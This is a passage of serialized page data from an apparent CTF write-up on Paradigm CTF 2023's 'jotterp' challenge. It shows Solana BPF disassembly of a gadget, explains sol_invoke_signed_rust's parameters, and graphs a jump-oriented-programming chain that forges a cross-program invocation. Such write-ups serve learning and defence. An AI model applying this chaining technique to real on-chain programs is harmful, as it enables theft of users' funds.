:27,"value":45724},"100001bd8",{"type":22,"tag":264,"props":45726,"children":45727},{"style":1549},[45728],{"type":27,"value":45729},"  b701000018000000",{"type":22,"tag":264,"props":45731,"children":45732},{"style":1549},[45733],{"type":27,"value":45734},"   mov",{"type":22,"tag":264,"props":45736,"children":45737},{"style":1549},[45738],{"type":27,"value":45739}," r1",{"type":22,"tag":264,"props":45741,"children":45742},{"style":1539},[45743],{"type":27,"value":4380},{"type":22,"tag":264,"props":45745,"children":45746},{"style":4344},[45747],{"type":27,"value":45748},"0x18\n",{"type":22,"tag":264,"props":45750,"children":45751},{"class":1534,"line":1642},[45752,45757,45762,45766,45770,45774,45778,45782,45787,45791,45796],{"type":22,"tag":264,"props":45753,"children":45754},{"style":1549},[45755],{"type":27,"value":45756},"100001be0",{"type":22,"tag":264,"props":45758,"children":45759},{"style":1549},[45760],{"type":27,"value":45761},"  79a288ff00000000",{"type":22,"tag":264,"props":45763,"children":45764},{"style":1549},[45765],{"type":27,"value":45445},{"type":22,"tag":264,"props":45767,"children":45768},{"style":1549},[45769],{"type":27,"value":45450},{"type":22,"tag":264,"props":45771,"children":45772},{"style":1539},[45773],{"type":27,"value":45455},{"type":22,"tag":264,"props":45775,"children":45776},{"style":1549},[45777],{"type":27,"value":45460},{"type":22,"tag":264,"props":45779,"children":45780},{"style":4309},[45781],{"type":27,"value":5621},{"type":22,"tag":264,"props":45783,"children":45784},{"style":4344},[45785],{"type":27,"value":45786},"120",{"type":22,"tag":264,"props":45788,"children":45789},{"style":1539},[45790],{"type":27,"value":45474},{"type":22,"tag":264,"props":45792,"children":45793},{"style":1549},[45794],{"type":27,"value":45795},"var_78",{"type":22,"tag":264,"props":45797,"children":45798},{"style":1539},[45799],{"type":27,"value":1692},{"type":22,"tag":264,"props":45801,"children":45802},{"class":1534,"line":1660},[45803,45808,45813,45818,45822,45827,45831,45835,45839,45844,45849,45854],{"type":22,"tag":264,"props":45804,"children":45805},{"style":1549},[45806],{"type":27,"value":45807},"100001be8",{"type":22,"tag":264,"props":45809,"children":45810},{"style":4344},[45811],{"type":27,"value":45812},"  6312000000000000",{"type":22,"tag":264,"props":45814,"children":45815},{"style":1549},[45816],{"type":27,"value":45817},"   stxw",{"type":22,"tag":264,"props":45819,"children":45820},{"style":1539},[45821],{"type":27,"value":24333},{"type":22,"tag":264,"props":45823,"children":45824},{"style":1549},[45825],{"type":27,"value":45826},"r2",{"type":22,"tag":264,"props":45828,"children":45829},{"style":4309},[45830],{"type":27,"value":5621},{"type":22,"tag":264,"props":45832,"children":45833},{"style":4344},[45834],{"type":27,"value":5334},{"type":22,"tag":264,"props":45836,"children":45837},{"style":1539},[45838],{"type":27,"value":24361},{"type":22,"tag":264,"props":45840,"children":45841},{"style":1549},[45842],{"type":27,"value":45843},"r1",{"type":22,"tag":264,"props":45845,"children":45846},{"style":1539},[45847],{"type":27,"value":45848},"  {",{"type":22,"tag":264,"props":45850,"children":45851},{"style":4344},[45852],{"type":27,"value":45853},"0x18",{"type":22,"tag":264,"props":45855,"children":45856},{"style":1539},[45857],{"type":27,"value":1692},{"type":22,"tag":264,"props":45859,"children":45860},{"class":1534,"line":1668},[45861,45866,45871,45876,45880,45884,45888],{"type":22,"tag":264,"props":45862,"children":45863},{"style":1549},[45864],{"type":27,"value":45865},"100001bf0",{"type":22,"tag":264,"props":45867,"children":45868},{"style":4344},[45869],{"type":27,"value":45870},"  0500030000000000",{"type":22,"tag":264,"props":45872,"children":45873},{"style":1549},[45874],{"type":27,"value":45875},"   ja",{"type":22,"tag":264,"props":45877,"children":45878},{"style":1539},[45879],{"type":27,"value":10014},{"type":22,"tag":264,"props":45881,"children":45882},{"style":4309},[45883],{"type":27,"value":673},{"type":22,"tag":264,"props":45885,"children":45886},{"style":4344},[45887],{"type":27,"value":18598},{"type":22,"tag":264,"props":45889,"children":45890},{"style":1539},[45891],{"type":27,"value":7284},{"type":22,"tag":264,"props":45893,"children":45894},{"class":1534,"line":1677},[45895],{"type":22,"tag":264,"props":45896,"children":45897},{"emptyLinePlaceholder":17},[45898],{"type":27,"value":4986},{"type":22,"tag":264,"props":45900,"children":45901},{"class":1534,"line":1686},[45902,45907,45912,45916,45920,45924,45928,45932,45936,45940,45944],{"type":22,"tag":264,"props":45903,"children":45904},{"style":1549},[45905],{"type":27,"value":45906},"100001bf8",{"type":22,"tag":264,"props":45908,"children":45909},{"style":1549},[45910],{"type":27,"value":45911},"  79a188ff00000000",{"type":22,"tag":264,"props":45913,"children":45914},{"style":1549},[45915],{"type":27,"value":45445},{"type":22,"tag":264,"props":45917,"children":45918},{"style":1549},[45919],{"type":27,"value":45739},{"type":22,"tag":264,"props":45921,"children":45922},{"style":1539},[45923],{"type":27,"value":45455},{"type":22,"tag":264,"props":45925,"children":45926},{"style":1549},[45927],{"type":27,"value":45460},{"type":22,"tag":264,"props":45929,"children":45930},{"style":4309},[45931],{"type":27,"value":5621},{"type":22,"tag":264,"props":45933,"children":45934},{"style":4344},[45935],{"type":27,"value":45786},{"type":22,"tag":264,"props":45937,"children":45938},{"style":1539},[45939],{"type":27,"value":45474},{"type":22,"tag":264,"props":45941,"children":45942},{"style":1549},[45943],{"type":27,"value":45795},{"type":22,"tag":264,"props":45945,"children":45946},{"style":1539},[45947],{"type":27,"value":1692},{"type":22,"tag":264,"props":45949,"children":45950},{"class":1534,"line":4948},[45951,45956,45961,45965,45969,45973],{"type":22,"tag":264,"props":45952,"children":45953},{"style":1549},[45954],{"type":27,"value":45955},"100001c00",{"type":22,"tag":264,"props":45957,"children":45958},{"style":1549},[45959],{"type":27,"value":45960},"  bf02000000000000",{"type":22,"tag":264,"props":45962,"children":45963},{"style":1549},[45964],{"type":27,"value":45734},{"type":22,"tag":264,"props":45966,"children":45967},{"style":1549},[45968],{"type":27,"value":45450},{"type":22,"tag":264,"props":45970,"children":45971},{"style":1539},[45972],{"type":27,"value":4380},{"type":22,"tag":264,"props":45974,"children":45975},{"style":1549},[45976],{"type":27,"value":45977},"r0\n",{"type":22,"tag":264,"props":45979,"children":45980},{"class":1534,"line":4957},[45981,45986,45991,45995,46000,46004,46009,46013,46017,46022,46026,46030,46035,46040,46044,46048],{"type":22,"tag":264,"props":45982,"children":45983},{"style":1549},[45984],{"type":27,"value":45985},"100001c08",{"type":22,"tag":264,"props":45987,"children":45988},{"style":4344},[45989],{"type":27,"value":45990},"  8510000075000000",{"type":22,"tag":264,"props":45992,"children":45993},{"style":1549},[45994],{"type":27,"value":45656},{"type":22,"tag":264,"props":45996,"children":45997},{"style":4722},[45998],{"type":27,"value":45999}," _ZN94_",{"type":22,"tag":264,"props":46001,"children":46002},{"style":4309},[46003],{"type":27,"value":731},{"type":22,"tag":264,"props":46005,"children":46006},{"style":4722},[46007],{"type":27,"value":46008},"LT",{"type":22,"tag":264,"props":46010,"children":46011},{"style":4309},[46012],{"type":27,"value":731},{"type":22,"tag":264,"props":46014,"children":46015},{"style":1549},[46016],{"type":27,"value":14952},{"type":22,"tag":264,"props":46018,"children":46019},{"style":4309},[46020],{"type":27,"value":46021},"...$",{"type":22,"tag":264,"props":46023,"children":46024},{"style":1549},[46025],{"type":27,"value":9336},{"type":22,"tag":264,"props":46027,"children":46028},{"style":4309},[46029],{"type":27,"value":731},{"type":22,"tag":264,"props":46031,"children":46032},{"style":4722},[46033],{"type":27,"value":46034},"GT",{"type":22,"tag":264,"props":46036,"children":46037},{"style":4309},[46038],{"type":27,"value":46039},"$$",{"type":22,"tag":264,"props":46041,"children":46042},{"style":4722},[46043],{"type":27,"value":46034},{"type":22,"tag":264,"props":46045,"children":46046},{"style":4309},[46047],{"type":27,"value":731},{"type":22,"tag":264,"props":46049,"children":46050},{"style":1539},[46051],{"type":27,"value":46052},"4from17ha0d289b72861b06dE\n",{"type":22,"tag":264,"props":46054,"children":46055},{"class":1534,"line":4980},[46056],{"type":22,"tag":264,"props":46057,"children":46058},{"emptyLinePlaceholder":17},[46059],{"type":27,"value":4986},{"type":22,"tag":264,"props":46061,"children":46062},{"class":1534,"line":4989},[46063,46068,46073,46077,46081,46085,46089,46093,46098,46102,46107],{"type":22,"tag":264,"props":46064,"children":46065},{"style":1549},[46066],{"type":27,"value":46067},"100001c10",{"type":22,"tag":264,"props":46069,"children":46070},{"style":1549},[46071],{"type":27,"value":46072},"  79a2b8ff00000000",{"type":22,"tag":264,"props":46074,"children":46075},{"style":1549},[46076],{"type":27,"value":45445},{"type":22,"tag":264,"props":46078,"children":46079},{"style":1549},[46080],{"type":27,"value":45450},{"type":22,"tag":264,"props":46082,"children":46083},{"style":1539},[46084],{"type":27,"value":45455},{"type":22,"tag":264,"props":46086,"children":46087},{"style":1549},[46088],{"type":27,"value":45460},{"type":22,"tag":264,"props":46090,"children":46091},{"style":4309},[46092],{"type":27,"value":5621},{"type":22,"tag":264,"props":46094,"children":46095},{"style":4344},[46096],{"type":27,"value":46097},"72",{"type":22,"tag":264,"props":46099,"children":46100},{"style":1539},[46101],{"type":27,"value":45474},{"type":22,"tag":264,"props":46103,"children":46104},{"style":1549},[46105],{"type":27,"value":46106},"var_48",{"type":22,"tag":264,"props":46108,"children":46109},{"style":1539},[46110],{"type":27,"value":1692},{"type":22,"tag":264,"props":46112,"children":46113},{"class":1534,"line":4998},[46114,46119,46124,46129,46133,46137,46141,46145,46149,46153],{"type":22,"tag":264,"props":46115,"children":46116},{"style":1549},[46117],{"type":27,"value":46118},"100001c18",{"type":22,"tag":264,"props":46120,"children":46121},{"style":4344},[46122],{"type":27,"value":46123},"  1502040000000000",{"type":22,"tag":264,"props":46125,"children":46126},{"style":1549},[46127],{"type":27,"value":46128},"   jeq",{"type":22,"tag":264,"props":46130,"children":46131},{"style":1539},[46132],{"type":27,"value":10014},{"type":22,"tag":264,"props":46134,"children":46135},{"style":4309},[46136],{"type":27,"value":673},{"type":22,"tag":264,"props":46138,"children":46139},{"style":4344},[46140],{"type":27,"value":18831},{"type":22,"tag":264,"props":46142,"children":46143},{"style":1539},[46144],{"type":27,"value":7112},{"type":22,"tag":264,"props":46146,"children":46147},{"style":1549},[46148],{"type":27,"value":45826},{"type":22,"tag":264,"props":46150,"children":46151},{"style":1539},[46152],{"type":27,"value":4380},{"type":22,"tag":264,"props":46154,"children":46155},{"style":4344},[46156],{"type":27,"value":45709},{"type":22,"tag":264,"props":46158,"children":46159},{"class":1534,"line":5067},[46160],{"type":22,"tag":264,"props":46161,"children":46162},{"emptyLinePlaceholder":17},[46163],{"type":27,"value":4986},{"type":22,"tag":264,"props":46165,"children":46166},{"class":1534,"line":5075},[46167,46172,46177,46182,46186,46190],{"type":22,"tag":264,"props":46168,"children":46169},{"style":1549},[46170],{"type":27,"value":46171},"100001c20",{"type":22,"tag":264,"props":46173,"children":46174},{"style":4344},[46175],{"type":27,"value":46176},"  2702000022000000",{"type":22,"tag":264,"props":46178,"children":46179},{"style":1549},[46180],{"type":27,"value":46181},"   mul",{"type":22,"tag":264,"props":46183,"children":46184},{"style":1549},[46185],{"type":27,"value":45450},{"type":22,"tag":264,"props":46187,"children":46188},{"style":1539},[46189],{"type":27,"value":4380},{"type":22,"tag":264,"props":46191,"children":46192},{"style":4344},[46193],{"type":27,"value":46194},"0x22\n",{"type":22,"tag":264,"props":46196,"children":46197},{"class":1534,"line":5105},[46198,46203,46208,46212,46216,46220,46224,46228,46233,46237,46242],{"type":22,"tag":264,"props":46199,"children":46200},{"style":1549},[46201],{"type":27,"value":46202},"100001c28",{"type":22,"tag":264,"props":46204,"children":46205},{"style":1549},[46206],{"type":27,"value":46207},"  79a1b0ff00000000",{"type":22,"tag":264,"props":46209,"children":46210},{"style":1549},[46211],{"type":27,"value":45445},{"type":22,"tag":264,"props":46213,"children":46214},{"style":1549},[46215],{"type":27,"value":45739},{"type":22,"tag":264,"props":46217,"children":46218},{"style":1539},[46219],{"type":27,"value":45455},{"type":22,"tag":264,"props":46221,"children":46222},{"style":1549},[46223],{"type":27,"value":45460},{"type":22,"tag":264,"props":46225,"children":46226},{"style":4309},[46227],{"type":27,"value":5621},{"type":22,"tag":264,"props":46229,"children":46230},{"style":4344},[46231],{"type":27,"value":46232},"80",{"type":22,"tag":264,"props":46234,"children":46235},{"style":1539},[46236],{"type":27,"value":45474},{"type":22,"tag":264,"props":46238,"children":46239},{"style":1549},[46240],{"type":27,"value":46241},"var_50",{"type":22,"tag":264,"props":46243,"children":46244},{"style":1539},[46245],{"type":27,"value":1692},{"type":22,"tag":264,"props":46247,"children":46248},{"class":1534,"line":5113},[46249,46254,46259,46263,46267,46271],{"type":22,"tag":264,"props":46250,"children":46251},{"style":1549},[46252],{"type":27,"value":46253},"100001c30",{"type":22,"tag":264,"props":46255,"children":46256},{"style":1549},[46257],{"type":27,"value":46258},"  b703000001000000",{"type":22,"tag":264,"props":46260,"children":46261},{"style":1549},[46262],{"type":27,"value":45734},{"type":22,"tag":264,"props":46264,"children":46265},{"style":1549},[46266],{"type":27,"value":45505},{"type":22,"tag":264,"props":46268,"children":46269},{"style":1539},[46270],{"type":27,"value":4380},{"type":22,"tag":264,"props":46272,"children":46273},{"style":4344},[46274],{"type":27,"value":46275},"0x1\n",{"type":22,"tag":264,"props":46277,"children":46278},{"class":1534,"line":5145},[46279,46284,46289,46293],{"type":22,"tag":264,"props":46280,"children":46281},{"style":1549},[46282],{"type":27,"value":46283},"100001c38",{"type":22,"tag":264,"props":46285,"children":46286},{"style":1549},[46287],{"type":27,"value":46288},"  8510000003feffff",{"type":22,"tag":264,"props":46290,"children":46291},{"style":1549},[46292],{"type":27,"value":45656},{"type":22,"tag":264,"props":46294,"children":46295},{"style":1549},[46296],{"type":27,"value":46297}," __rust_dealloc\n",{"type":22,"tag":264,"props":46299,"children":46300},{"class":1534,"line":5153},[46301],{"type":22,"tag":264,"props":46302,"children":46303},{"emptyLinePlaceholder":17},[46304],{"type":27,"value":4986},{"type":22,"tag":264,"props":46306,"children":46307},{"class":1534,"line":5213},[46308,46313,46318,46322,46326,46330,46334,46338,46343,46347,46352],{"type":22,"tag":264,"props":46309,"children":46310},{"style":1549},[46311],{"type":27,"value":46312},"100001c40",{"type":22,"tag":264,"props":46314,"children":46315},{"style":1549},[46316],{"type":27,"value":46317},"  79a2d0ff00000000",{"type":22,"tag":264,"props":46319,"children":46320},{"style":1549},[46321],{"type":27,"value":45445},{"type":22,"tag":264,"props":46323,"children":46324},{"style":1549},[46325],{"type":27,"value":45450},{"type":22,"tag":264,"props":46327,"children":46328},{"style":1539},[46329],{"type":27,"value":45455},{"type":22,"tag":264,"props":46331,"children":46332},{"style":1549},[46333],{"type":27,"value":45460},{"type":22,"tag":264,"props":46335,"children":46336},{"style":4309},[46337],{"type":27,"value":5621},{"type":22,"tag":264,"props":46339,"children":46340},{"style":4344},[46341],{"type":27,"value":46342},"48",{"type":22,"tag":264,"props":46344,"children":46345},{"style":1539},[46346],{"type":27,"value":45474},{"type":22,"tag":264,"props":46348,"children":46349},{"style":1549},[46350],{"type":27,"value":46351},"var_30",{"type":22,"tag":264,"props":46353,"children":46354},{"style":1539},[46355],{"type":27,"value":1692},{"type":22,"tag":264,"props":46357,"children":46358},{"class":1534,"line":10343},[46359,46364,46369,46373,46377,46381,46385,46389,46393,46397],{"type":22,"tag":264,"props":46360,"children":46361},{"style":1549},[46362],{"type":27,"value":46363},"100001c48",{"type":22,"tag":264,"props":46365,"children":46366},{"style":4344},[46367],{"type":27,"value":46368},"  1502030000000000",{"type":22,"tag":264,"props":46370,"children":46371},{"style":1549},[46372],{"type":27,"value":46128},{"type":22,"tag":264,"props":46374,"children":46375},{"style":1539},[46376],{"type":27,"value":10014},{"type":22,"tag":264,"props":46378,"children":46379},{"style":4309},[46380],{"type":27,"value":673},{"type":22,"tag":264,"props":46382,"children":46383},{"style":4344},[46384],{"type":27,"value":18598},{"type":22,"tag":264,"props":46386,"children":46387},{"style":1539},[46388],{"type":27,"value":7112},{"type":22,"tag":264,"props":46390,"children":46391},{"style":1549},[46392],{"type":27,"value":45826},{"type":22,"tag":264,"props":46394,"children":46395},{"style":1539},[46396],{"type":27,"value":4380},{"type":22,"tag":264,"props":46398,"children":46399},{"style":4344},[46400],{"type":27,"value":45709},{"type":22,"tag":264,"props":46402,"children":46403},{"class":1534,"line":10361},[46404],{"type":22,"tag":264,"props":46405,"children":46406},{"emptyLinePlaceholder":17},[46407],{"type":27,"value":4986},{"type":22,"tag":264,"props":46409,"children":46410},{"class":1534,"line":10406},[46411,46416,46421,46425,46429,46433,46437,46441,46446,46450,46455],{"type":22,"tag":264,"props":46412,"children":46413},{"style":1549},[46414],{"type":27,"value":46415},"100001c50",{"type":22,"tag":264,"props":46417,"children":46418},{"style":1549},[46419],{"type":27,"value":46420},"  79a1c8ff00000000",{"type":22,"tag":264,"props":46422,"children":46423},{"style":1549},[46424],{"type":27,"value":45445},{"type":22,"tag":264,"props":46426,"children":46427},{"style":1549},[46428],{"type":27,"value":45739},{"type":22,"tag":264,"props":46430,"children":46431},{"style":1539},[46432],{"type":27,"value":45455},{"type":22,"tag":264,"props":46434,"children":46435},{"style":1549},[46436],{"type":27,"value":45460},{"type":22,"tag":264,"props":46438,"children":46439},{"style":4309},[46440],{"type":27,"value":5621},{"type":22,"tag":264,"props":46442,"children":46443},{"style":4344},[46444],{"type":27,"value":46445},"56",{"type":22,"tag":264,"props":46447,"children":46448},{"style":1539},[46449],{"type":27,"value":45474},{"type":22,"tag":264,"props":46451,"children":46452},{"style":1549},[46453],{"type":27,"value":46454},"var_38",{"type":22,"tag":264,"props":46456,"children":46457},{"style":1539},[46458],{"type":27,"value":1692},{"type":22,"tag":264,"props":46460,"children":46461},{"class":1534,"line":10512},[46462,46467,46471,46475,46479,46483],{"type":22,"tag":264,"props":46463,"children":46464},{"style":1549},[46465],{"type":27,"value":46466},"100001c58",{"type":22,"tag":264,"props":46468,"children":46469},{"style":1549},[46470],{"type":27,"value":46258},{"type":22,"tag":264,"props":46472,"children":46473},{"style":1549},[46474],{"type":27,"value":45734},{"type":22,"tag":264,"props":46476,"children":46477},{"style":1549},[46478],{"type":27,"value":45505},{"type":22,"tag":264,"props":46480,"children":46481},{"style":1539},[46482],{"type":27,"value":4380},{"type":22,"tag":264,"props":46484,"children":46485},{"style":4344},[46486],{"type":27,"value":46275},{"type":22,"tag":264,"props":46488,"children":46489},{"class":1534,"line":24810},[46490,46495,46500,46504],{"type":22,"tag":264,"props":46491,"children":46492},{"style":1549},[46493],{"type":27,"value":46494},"100001c60",{"type":22,"tag":264,"props":46496,"children":46497},{"style":1549},[46498],{"type":27,"value":46499},"  85100000fefdffff",{"type":22,"tag":264,"props":46501,"children":46502},{"style":1549},[46503],{"type":27,"value":45656},{"type":22,"tag":264,"props":46505,"children":46506},{"style":1549},[46507],{"type":27,"value":46297},{"type":22,"tag":264,"props":46509,"children":46510},{"class":1534,"line":24845},[46511],{"type":22,"tag":264,"props":46512,"children":46513},{"emptyLinePlaceholder":17},[46514],{"type":27,"value":4986},{"type":22,"tag":264,"props":46516,"children":46517},{"class":1534,"line":24853},[46518,46523,46528,46533,46538,46543],{"type":22,"tag":264,"props":46519,"children":46520},{"style":1549},[46521],{"type":27,"value":46522},"100001c68",{"type":22,"tag":264,"props":46524,"children":46525},{"style":4344},[46526],{"type":27,"value":46527},"  9500000000000000",{"type":22,"tag":264,"props":46529,"children":46530},{"style":1549},[46531],{"type":27,"value":46532},"   exit",{"type":22,"tag":264,"props":46534,"children":46535},{"style":1539},[46536],{"type":27,"value":46537}," {",{"type":22,"tag":264,"props":46539,"children":46540},{"style":1549},[46541],{"type":27,"value":46542},"__return_addr",{"type":22,"tag":264,"props":46544,"children":46545},{"style":1539},[46546],{"type":27,"value":1692},{"type":22,"tag":23,"props":46548,"children":46549},{},[46550,46552,46558],{"type":27,"value":46551},"Which, assuming that ",{"type":22,"tag":257,"props":46553,"children":46555},{"className":46554},[],[46556],{"type":27,"value":46557},"sol_invoke_signed_rust",{"type":27,"value":46559}," returns 0, is doing the following:",{"type":22,"tag":1867,"props":46561,"children":46562},{},[46563,46572,46581],{"type":22,"tag":1871,"props":46564,"children":46565},{},[46566],{"type":22,"tag":257,"props":46567,"children":46569},{"className":46568},[],[46570],{"type":27,"value":46571},"sol_invoke_signed_rust(r1, [r10-136], [r10-128], [r10-152], [r10-144])",{"type":22,"tag":1871,"props":46573,"children":46574},{},[46575],{"type":22,"tag":257,"props":46576,"children":46578},{"className":46577},[],[46579],{"type":27,"value":46580},"*[r10-120] = 0x18",{"type":22,"tag":1871,"props":46582,"children":46583},{},[46584,46586,46592,46594,46601],{"type":27,"value":46585},"Calls ",{"type":22,"tag":257,"props":46587,"children":46589},{"className":46588},[],[46590],{"type":27,"value":46591},"__rust_dealloc",{"type":27,"value":46593},", which in default circumstances is a ",{"type":22,"tag":69,"props":46595,"children":46598},{"href":46596,"rel":46597},"https://github.com/solana-labs/solana/blob/v1.17.4/sdk/program/src/entrypoint.rs#L257C1-L259",[73],[46599],{"type":27,"value":46600},"NOP",{"type":27,"value":210},{"type":22,"tag":23,"props":46603,"children":46604},{},[46605],{"type":27,"value":46606},"r10 is the stack pointer, so it will point to the stack frame of the current depth when executing that instruction.",{"type":22,"tag":23,"props":46608,"children":46609},{},[46610],{"type":27,"value":46611},"If we correctly set up the stack frame used by this gadget with valid parameters, that's a win.",{"type":22,"tag":23,"props":46613,"children":46614},{},[46615,46617,46624],{"type":27,"value":46616},"Looking at the ",{"type":22,"tag":69,"props":46618,"children":46621},{"href":46619,"rel":46620},"https://github.com/solana-labs/solana/blob/master/sdk/program/src/syscalls/definitions.rs#L59",[73],[46622],{"type":27,"value":46623},"definition",{"type":27,"value":46625},", it's not crystal clear what the parameters are:",{"type":22,"tag":618,"props":46627,"children":46629},{"className":4274,"code":46628,"language":4273,"meta":7,"style":7},"fn sol_invoke_signed_rust(instruction_addr: *const u8, account_infos_addr: *const u8, account_infos_len: u64, signers_seeds_addr: *const u8, signers_seeds_len: u64) -> u64\n",[46630],{"type":22,"tag":257,"props":46631,"children":46632},{"__ignoreMap":7},[46633],{"type":22,"tag":264,"props":46634,"children":46635},{"class":1534,"line":1535},[46636,46640,46645,46649,46654,46658,46662,46666,46670,46674,46679,46683,46687,46691,46695,46699,46704,46708,46712,46716,46721,46725,46729,46733,46737,46741,46746,46750,46754,46758,46762],{"type":22,"tag":264,"props":46637,"children":46638},{"style":4293},[46639],{"type":27,"value":21573},{"type":22,"tag":264,"props":46641,"children":46642},{"style":4401},[46643],{"type":27,"value":46644}," sol_invoke_signed_rust",{"type":22,"tag":264,"props":46646,"children":46647},{"style":1539},[46648],{"type":27,"value":2660},{"type":22,"tag":264,"props":46650,"children":46651},{"style":1549},[46652],{"type":27,"value":46653},"instruction_addr",{"type":22,"tag":264,"props":46655,"children":46656},{"style":4309},[46657],{"type":27,"value":5785},{"type":22,"tag":264,"props":46659,"children":46660},{"style":4309},[46661],{"type":27,"value":11115},{"type":22,"tag":264,"props":46663,"children":46664},{"style":4293},[46665],{"type":27,"value":10953},{"type":22,"tag":264,"props":46667,"children":46668},{"style":4722},[46669],{"type":27,"value":15933},{"type":22,"tag":264,"props":46671,"children":46672},{"style":1539},[46673],{"type":27,"value":4380},{"type":22,"tag":264,"props":46675,"children":46676},{"style":1549},[46677],{"type":27,"value":46678},"account_infos_addr",{"type":22,"tag":264,"props":46680,"children":46681},{"style":4309},[46682],{"type":27,"value":5785},{"type":22,"tag":264,"props":46684,"children":46685},{"style":4309},[46686],{"type":27,"value":11115},{"type":22,"tag":264,"props":46688,"children":46689},{"style":4293},[46690],{"type":27,"value":10953},{"type":22,"tag":264,"props":46692,"children":46693},{"style":4722},[46694],{"type":27,"value":15933},{"type":22,"tag":264,"props":46696,"children":46697},{"style":1539},[46698],{"type":27,"value":4380},{"type":22,"tag":264,"props":46700,"children":46701},{"style":1549},[46702],{"type":27,"value":46703},"account_infos_len",{"type":22,"tag":264,"props":46705,"children":46706},{"style":4309},[46707],{"type":27,"value":5785},{"type":22,"tag":264,"props":46709,"children":46710},{"style":4722},[46711],{"type":27,"value":7151},{"type":22,"tag":264,"props":46713,"children":46714},{"style":1539},[46715],{"type":27,"value":4380},{"type":22,"tag":264,"props":46717,"children":46718},{"style":1549},[46719],{"type":27,"value":46720},"signers_seeds_addr",{"type":22,"tag":264,"props":46722,"children":46723},{"style":4309},[46724],{"type":27,"value":5785},{"type":22,"tag":264,"props":46726,"children":46727},{"style":4309},[46728],{"type":27,"value":11115},{"type":22,"tag":264,"props":46730,"children":46731},{"style":4293},[46732],{"type":27,"value":10953},{"type":22,"tag":264,"props":46734,"children":46735},{"style":4722},[46736],{"type":27,"value":15933},{"type":22,"tag":264,"props":46738,"children":46739},{"style":1539},[46740],{"type":27,"value":4380},{"type":22,"tag":264,"props":46742,"children":46743},{"style":1549},[46744],{"type":27,"value":46745},"signers_seeds_len",{"type":22,"tag":264,"props":46747,"children":46748},{"style":4309},[46749],{"type":27,"value":5785},{"type":22,"tag":264,"props":46751,"children":46752},{"style":4722},[46753],{"type":27,"value":7151},{"type":22,"tag":264,"props":46755,"children":46756},{"style":1539},[46757],{"type":27,"value":4390},{"type":22,"tag":264,"props":46759,"children":46760},{"style":4309},[46761],{"type":27,"value":15056},{"type":22,"tag":264,"props":46763,"children":46764},{"style":4722},[46765],{"type":27,"value":14495},{"type":22,"tag":23,"props":46767,"children":46768},{},[46769,46771,46776,46778,46785],{"type":27,"value":46770},"The source of ",{"type":22,"tag":69,"props":46772,"children":46774},{"href":46773},"(https://github.com/solana-labs/solana/blob/v1.17.4/sdk/program/src/program.rs#L289)",[46775],{"type":27,"value":45386},{"type":27,"value":46777}," helps a lot, but looking at the actual ",{"type":22,"tag":69,"props":46779,"children":46782},{"href":46780,"rel":46781},"https://github.com/solana-labs/solana/blob/v1.17.4/programs/bpf_loader/src/syscalls/cpi.rs#L458-L637",[73],[46783],{"type":27,"value":46784},"implementation",{"type":27,"value":46786}," provides more clarity:",{"type":22,"tag":17988,"props":46788,"children":46789},{},[46790],{"type":22,"tag":1871,"props":46791,"children":46792},{},[46793,46798,46800,46807],{"type":22,"tag":257,"props":46794,"children":46796},{"className":46795},[],[46797],{"type":27,"value":46653},{"type":27,"value":46799}," points to a ",{"type":22,"tag":69,"props":46801,"children":46804},{"href":46802,"rel":46803},"https://github.com/solana-labs/solana/blob/v1.17.4/sdk/program/src/stable_layout/stable_instruction.rs#L33",[73],[46805],{"type":27,"value":46806},"StableInstruction",{"type":27,"value":5785},{"type":22,"tag":23,"props":46809,"children":46810},{},[46811],{"type":22,"tag":215,"props":46812,"children":46814},{"alt":46806,"src":46813},"/posts/jumping-around-in-the-vm/stable_ix.svg",[],{"type":22,"tag":17988,"props":46816,"children":46817},{},[46818,46843],{"type":22,"tag":1871,"props":46819,"children":46820},{},[46821,46826,46828,46833,46835,46842],{"type":22,"tag":257,"props":46822,"children":46824},{"className":46823},[],[46825],{"type":27,"value":46678},{"type":27,"value":46827}," points to a slice of ",{"type":22,"tag":257,"props":46829,"children":46831},{"className":46830},[],[46832],{"type":27,"value":46703},{"type":27,"value":46834},"  ",{"type":22,"tag":69,"props":46836,"children":46839},{"href":46837,"rel":46838},"https://github.com/solana-labs/solana/blob/v1.17.4/sdk/program/src/account_info.rs#L19-L36",[73],[46840],{"type":27,"value":46841},"AccountInfos",{"type":27,"value":210},{"type":22,"tag":1871,"props":46844,"children":46845},{},[46846,46851,46853,46858,46860,46865],{"type":22,"tag":257,"props":46847,"children":46849},{"className":46848},[],[46850],{"type":27,"value":46720},{"type":27,"value":46852}," is a bit trickier, it points to a slice of length ",{"type":22,"tag":257,"props":46854,"children":46856},{"className":46855},[],[46857],{"type":27,"value":46745},{"type":27,"value":46859},", containing slices of ",{"type":22,"tag":257,"props":46861,"children":46863},{"className":46862},[],[46864],{"type":27,"value":4725},{"type":27,"value":210},{"type":22,"tag":23,"props":46867,"children":46868},{},[46869],{"type":22,"tag":215,"props":46870,"children":46873},{"alt":46871,"src":46872},"signers.drawio","/posts/jumping-around-in-the-vm/signers.svg",[],{"type":22,"tag":23,"props":46875,"children":46876},{},[46877,46879,46884],{"type":27,"value":46878},"Where do we store those fake parameters? We can store them directly inside the input data, and just write the pointers to them on the stack through the write gadget. Note that these writes are to ",{"type":22,"tag":1699,"props":46880,"children":46881},{},[46882],{"type":27,"value":46883},"future call frames",{"type":27,"value":210},{"type":22,"tag":23,"props":46886,"children":46887},{},[46888,46890,46897],{"type":27,"value":46889},"Now that we have all the parts, all we need is to string it together. The full ",{"type":22,"tag":69,"props":46891,"children":46894},{"href":46892,"rel":46893},"https://github.com/chen-robert/paradigmctf-2023/blob/main/jotterp/framework-solve/src/main.rs",[73],[46895],{"type":27,"value":46896},"reference solution can be found here",{"type":27,"value":210},{"type":22,"tag":23,"props":46899,"children":46900},{},[46901],{"type":27,"value":46902},"Here's a visualization of the final JOP chain.",{"type":22,"tag":618,"props":46904,"children":46906},{"className":45268,"code":46905,"language":45270,"meta":7,"style":7},"graph BT\n    A[0: entrypoint] --> B[1: process_instruction]\n    B --> C[2: process]\n    C --> D[3: Write account_infos.ptr to target_r10 - 136]\n    C --> E[3: process]\n    E --> F[4: Write account_infos.len to target_r10 - 128]\n    E --> G[4: process]\n    G --> H[5: Write signers_seeds.ptr to target_r10 - 152]\n    G --> I[5: process]\n    I --> J[6: Write signers_seeds.len to target_r10 - 144]\n    I --> K[6: process]\n    K --> M[7: Write HeapBase to target_r10 - 120]\n    K --> N[7: process]\n    N --> P[8: Invoke CPI Gadget with R0 pointing to the CreateAccount instruction]\n    N --> O[8: Write 0x4337 to the 